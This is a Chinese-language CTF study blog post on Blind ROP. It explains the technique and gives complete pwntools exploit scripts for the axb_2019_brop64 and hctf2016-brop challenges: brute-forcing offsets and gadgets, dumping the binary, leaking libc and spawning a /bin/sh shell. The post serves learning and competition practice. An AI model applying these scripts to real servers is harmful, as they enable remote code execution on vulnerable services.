brop学习记录

  1. 1. BROP简介
  2. 2. 如何实现
    1. 2.1. 利用条件
    2. 2.2. 利用思路
  3. 3. 实例
    1. 3.1. axb_2019_brop64
    2. 3.2. brop
  4. 4. 总结

BROP简介

BROP(Blind ROP),于 2014 年由 Standford 的 Andrea Bittau 提出,这种攻击方式是实现在无源代码和二进程程序的情况下对运行中的程序进行攻击。

slides:http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf

paper:http://www.scs.stanford.edu/brop/bittau-brop.pdf

image-20220310114400278

如何实现

利用条件

  1. 程序存在栈溢出漏洞
  2. 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样。
    1. nginx, MySQL, Apache, OpenSSH 等服务器应用都是符合这种特性的
    2. 这意味着: 栈中的canary是固定的,不会重置

利用思路

  1. 通过爆破确定栈溢出的长度, 如果存在Canary则顺便把Canary爆破出来.
    • 爆破Canary也称之为Stack Reading, 因为可以用相同的方式把栈上所有的数据都爆破出来.

image-20220310114413185

  1. 寻找可以返回到程序main函数的gadget,通常被称为stop_gadget;
  2. 寻找BROP gadgets,这段gadget也就是libc_csu_init中的这段gadget.

image-20220310114426507

因为这段gadget很独特,pop了六个参数.且这段gadget可重用,通过指令偏移可用获得pop rdi;ret; 以及pop rsi;pop r15;ret;

image-20220310114436149

  1. 爆破可以输出的函数地址,通常为puts或者write.
  2. 通过输出函数dump出全部的二进制文件或者部分文件.
  3. 通过dump出的文件,找出write@got或者puts@got等libc函数的got表地址.然后泄露libc地址.
  4. 根据libc中的gadgets getshell

实例

axb_2019_brop64

buu有这道题.

首先确定溢出长度,

1
2
3
4
5
6
7
8
9
10
11
12
13
def get_padding_length():
length = 1
while True:
io = process(filename)
io.recvuntil(b'Please tell me:')
io.send(b'a'*length)
try:
io.recvuntil(b'Goodbye!')
length += 1
except Exception as e:
success(f"padding length: {length - 1}")
return length - 1
io.close()

然后确定stop_gadget地址, 这里只要发送payload之后,进程再次返回Please tell me:即可确定又回到了main函数.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
def get_stop_gadget(length):
addr = 0x400000
while 1:
io = process(filename)
io.recvuntil(b'Please tell me:')
try:
io.send(b'a'*length + p64(addr))
res = io.recvuntil(b'Please tell me:',timeout=1)
print(res)
if b'Please tell me:' in res:
success(f"success: {hex(addr)}")
return addr
else:
addr += 1
except Exception:
warn(f"{hex(addr)}")
addr += 1
io.close()

获取brop_gadget: 这里发送payload之后遇到不发生crash的情况也有可能这段代码片段本身是可执行的.如jump main,所以还需要check一下,且最难的部分也是check的逻辑.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def get_brop_gadget(length,stop_gadget):
addr = stop_gadget+1 # 一般在stop_gadget的后面
while True:
io = process(filename)
io.recvuntil(b'Please tell me:')
try:
payload = b'a' * length + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10
io.sendline(payload)
r = io.recv()
if b'Please tell me:' in r:
if check_brop_gadget(length,addr):
print(r)
success(f"success: {hex(addr)}")
return addr
else:
addr += 1
else:
add += 1
except Exception:
warn(f"{hex(addr)}")
addr += 1
io.close()

def check_brop_gadget(length,addr):
info(f"checking {hex(addr)}")
try:
io = process(filename)
io.recvuntil(b'Please tell me:')
payload = b'a' * length + p64(addr) + b'a' * 8 * 10
io.sendline(payload)
content = io.recv()
print(content)
if b'Goodbye!' in content: # exit normally
print(content)
return False
io.close()
if b'Please tell me:' in content: # ret2main
return False
return True
except Exception:
io.close()
return True

获取puts函数的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def get_puts_address(length,stop_gadget,pop_rdi_ret):
addr = 0x400000
while addr<0x500000:
io = process(filename)
io.recvuntil(b'Please tell me:')
try:
payload = b'a' * length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
io.send(payload)
content = io.recv(timeout = 1) # timeout
if b'\x7fELF' in content:
print(content)
success(f"puts address: {hex(addr)}")
return addr
else:
addr += 1
except Exception as e:
warn(f"{hex(addr)}")
addr += 1
io.close()

获取write函数地址: 这里并没有控制write函数输出的长度, 控制长度可根据strcmp等函数,或者它本身足够大.(靠运气)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
def get_write_address(length,stop_gadget,brop_gadget):
addr = 0x400000
while addr<0x401000:
io = process(filename)
io.recvuntil(b'Please tell me:')
try:
payload = b'a' * length
payload += p64(brop_gadget + 9) # pop rdi;ret;
payload += p64(1) # stdout
payload += p64(brop_gadget + 7) # pop rsi;pop r15;ret
payload += p64(0x400000) # rsi
payload += p64(0) # r15
payload += p64(addr)
io.send(payload)
content = io.recv(timeout = 1) # timeout
if b'\x7fELF' in content:
print(content)
success(f"puts address: {hex(addr)}")
return addr
else:
addr += 1
except Exception as e:
warn(f"{hex(addr)}")
addr += 1
io.close()

dump文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
def leak(length, pop_rdi, leak_addr, puts_plt, stop_gadgets):
io = process(filename)
payload = b'a'*length + p64(pop_rdi) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadgets)
io.recvuntil(b"Please tell me:")
io.sendline(payload)
io.recvuntil(b'a'*length)
io.recv(3)
try:
output = io.recv(timeout = 1)
io.close()
try:
# print(output)
output = output[:output.index(b"\nHello,I am a computer")]
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
io.close()
return None

# length = get_padding_length() # 216
length = 216
# stop_gadget = get_stop_gadget(length) # 0x4006e0
stop_gadget = 0x4006e0
# brop_gadget = get_brop_gadget(length,stop_gadget) # 0x40095a
brop_gadget = 0x40095a
pop_rdi_ret = 0x40095a + 9
ret = 0x40095a + 9 + 5
# puts_plt = get_puts_address(length,stop_gadget,pop_rdi_ret) # 0x400635
puts_plt = 0x400635
# write_plt = get_write_address(length,stop_gadget,brop_gadget) # 0x400650
write_plt = 0x400650
addr = 0x400000
result = b''
while addr < 0x402000:
output = leak(length, pop_rdi_ret, addr, puts_plt, stop_gadget)
# print(output)
if output is None:
result += b'\x00'
addr += 1
continue
else:
result += output
addr += len(output)
with open('dump_axv','wb') as f:
f.write(result)

根据dump的文件确定puts@got : 0x601018

Text
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
LOAD:0000000000400630
LOAD:0000000000400630 loc_400630: ; CODE XREF: LOAD:000000000040064B↓j
LOAD:0000000000400630 ; LOAD:000000000040065B↓j ...
LOAD:0000000000400630 push cs:qword_601008
LOAD:0000000000400636 jmp cs:qword_601010
LOAD:0000000000400636 ; ---------------------------------------------------------------------------
LOAD:000000000040063C align 20h
LOAD:0000000000400640
LOAD:0000000000400640 ; =============== S U B R O U T I N E =======================================
LOAD:0000000000400640
LOAD:0000000000400640 ; Attributes: thunk
LOAD:0000000000400640
LOAD:0000000000400640 sub_400640 proc near ; CODE XREF: sub_4007D6+45↓p
LOAD:0000000000400640 ; sub_4007D6+4F↓p ...
LOAD:0000000000400640 jmp cs:qword_601018
LOAD:0000000000400640 sub_400640 endp
LOAD:0000000000400640

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# exp
io = process(filename)
libc = ELF('./libc.so.6')

context.log_level = 'debug'

io.recvuntil(b'Please tell me:')
payload = b'a'*length + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)
io.sendline(payload)
io.recvuntil(b'a'*length)
io.recv(3)
a = io.recv(6)
puts_address = u64(a.ljust(8,b'\x00'))
success(f"puts: {hex(puts_address)}")

libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*length + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address)
io.sendline(payload)
io.interactive()

brop

题目地址: https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/brop/hctf2016-brop

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

# io = process('./brop')

def get_padding_length():
length = 1
while True:
io = process('./brop')
io.recvuntil(b'WelCome my friend,Do you know password?\n')
io.send(b'a'*length)
try:
io.recvuntil(b'No password, no game\n')
length += 1
except Exception as e:
return length - 1
io.close()

def get_stop_addr(length):
addr = 0x400000
while 1:
io = process('./brop')
io.recvuntil(b'WelCome my friend,Do you know password?\n')
try:
io.send(b'a'*length + p64(addr))
io.recvuntil(b'WelCome my friend,Do you know password?\n')
success(f"success: {hex(addr)}")
return addr
except Exception:
warn(f"{hex(addr)}")
addr += 1
io.close()

def get_brop_gadget(length,stop_addr):
addr = 0x400740#0x4006f3#stop_addr + 1 # 一般在stop_addr的后面 # 这里的值需要不断调整,payload会导致程序死循环
while True:
io = process('./brop')
io.recvuntil(b'WelCome my friend,Do you know password?\n')
try:
payload = b'a' * length + p64(addr) + p64(0) * 6 + p64(stop_addr) + p64(0) * 10
io.send(payload)
r = io.recv()
if check_brop_gadget(length,addr):
print(r)
success(f"success: {hex(addr)}")
return addr
else:
addr += 1
except Exception:
warn(f"{hex(addr)}")
addr += 1
io.close()

def check_brop_gadget(length, addr):
info(f"checking {hex(addr)}")
try:
io = process('./brop')
io.recvuntil(b'WelCome my friend,Do you know password?\n')
payload = b'a' * length + p64(addr) + b'a' * 8 * 10
io.sendline(payload)
content = io.recv()
print(content)
io.close()
return False
except Exception:
io.close()
return True

# payload = 'A'*length +p64(pop_rdi_ret)+p64(0x400000)+p64(addr)+p64(stop_gadget)
def get_puts_address(length,stop_addr,pop_rdi_ret):
addr = 0x400500
while True:
io = process('./brop')
io.recvuntil(b'WelCome my friend,Do you know password?\n')
try:
payload = b'a' * length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_addr)
io.send(payload)
content = io.recv(timeout = 1) # timeout
if b'\x7fELF' in content:
print(content)
success(f"puts address: {hex(addr)}")
return addr
else:
addr += 1
except Exception as e:
warn(f"{hex(addr)}")
addr += 1
io.close()

def leak(length, pop_rdi, leak_addr, put_plt, stop_gadgets):
sh = process("./brop")
payload = b'a'*length + p64(pop_rdi) + p64(leak_addr) + p64(put_plt) + p64(stop_gadgets)
sh.recvuntil(b"password?\n")
sh.sendline(payload)
try:
output = sh.recv(timeout = 1)
sh.close()
try:
output = output[:output.index(b"\nWelCome")]
except Exception:
output = output
if output == b"":
output = b"\x00"
return output
except Exception:
sh.close()
return None
def exp(length,pop_rdi_ret,puts_got,put_plt,stop_gadgets,ret):
io = process('./brop')
libc = ELF('./libc.so.6')

io.recvuntil(b'WelCome my friend,Do you know password?\n')
payload = b'a'*length + p64(pop_rdi_ret) + p64(puts_got) + p64(put_plt) + p64(stop_gadgets)
io.send(payload)
a = io.recv(6)
puts_address = u64(a.ljust(8,b'\x00'))
success(f"puts: {hex(puts_address)}")

libcbase = puts_address - libc.symbols['puts']
system_address = libcbase + libc.symbols['system']
bin_sh = libcbase + next(libc.search(b'/bin/sh\x00'))
payload = b'a'*length + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_address)
io.sendline(payload)
io.interactive()

# length = get_padding_length()
# success(f"padding length: {length}")
# address = get_stop_addr(length) # 0x4005c0
# get_brop_gadget(72,0x4005c0) # 0x4007ba
ret2csu = 0x4007ba
pop_rdi_ret = 0x4007ba + 9 # 0x00000000004007c3
ret = 0x4007ba + 9 + 5 # ret 实际上+1-5都行
# get_puts_address(72,0x4005c0,pop_rdi_ret) # 0x400555 虽然put@plt的真实地址是0x400560,但是并不影响输出.

# addr = 0x400000
# result = b''
# while addr < 0x400600:
# output = leak(72, pop_rdi_ret, addr, 0x400555, 0x4005c0)
# if output is None:
# result += '\x00'
# addr += 1
# continue
# else:
# result += output
# addr += len(output)
# with open('dump','wb') as f:
# f.write(result)

puts_got = 0x601018
exp(72,pop_rdi_ret,puts_got,0x400555,0x4005c0,ret)

总结

ctf中这类题都是模板题, 这里贴了两个题的exp, 但是还有一些模板没有贴,如stack reading泄露canary, 无puts可用时如何再找别的输出函数.

realworld场景也找到了实例: https://www.anquanke.com/post/id/85331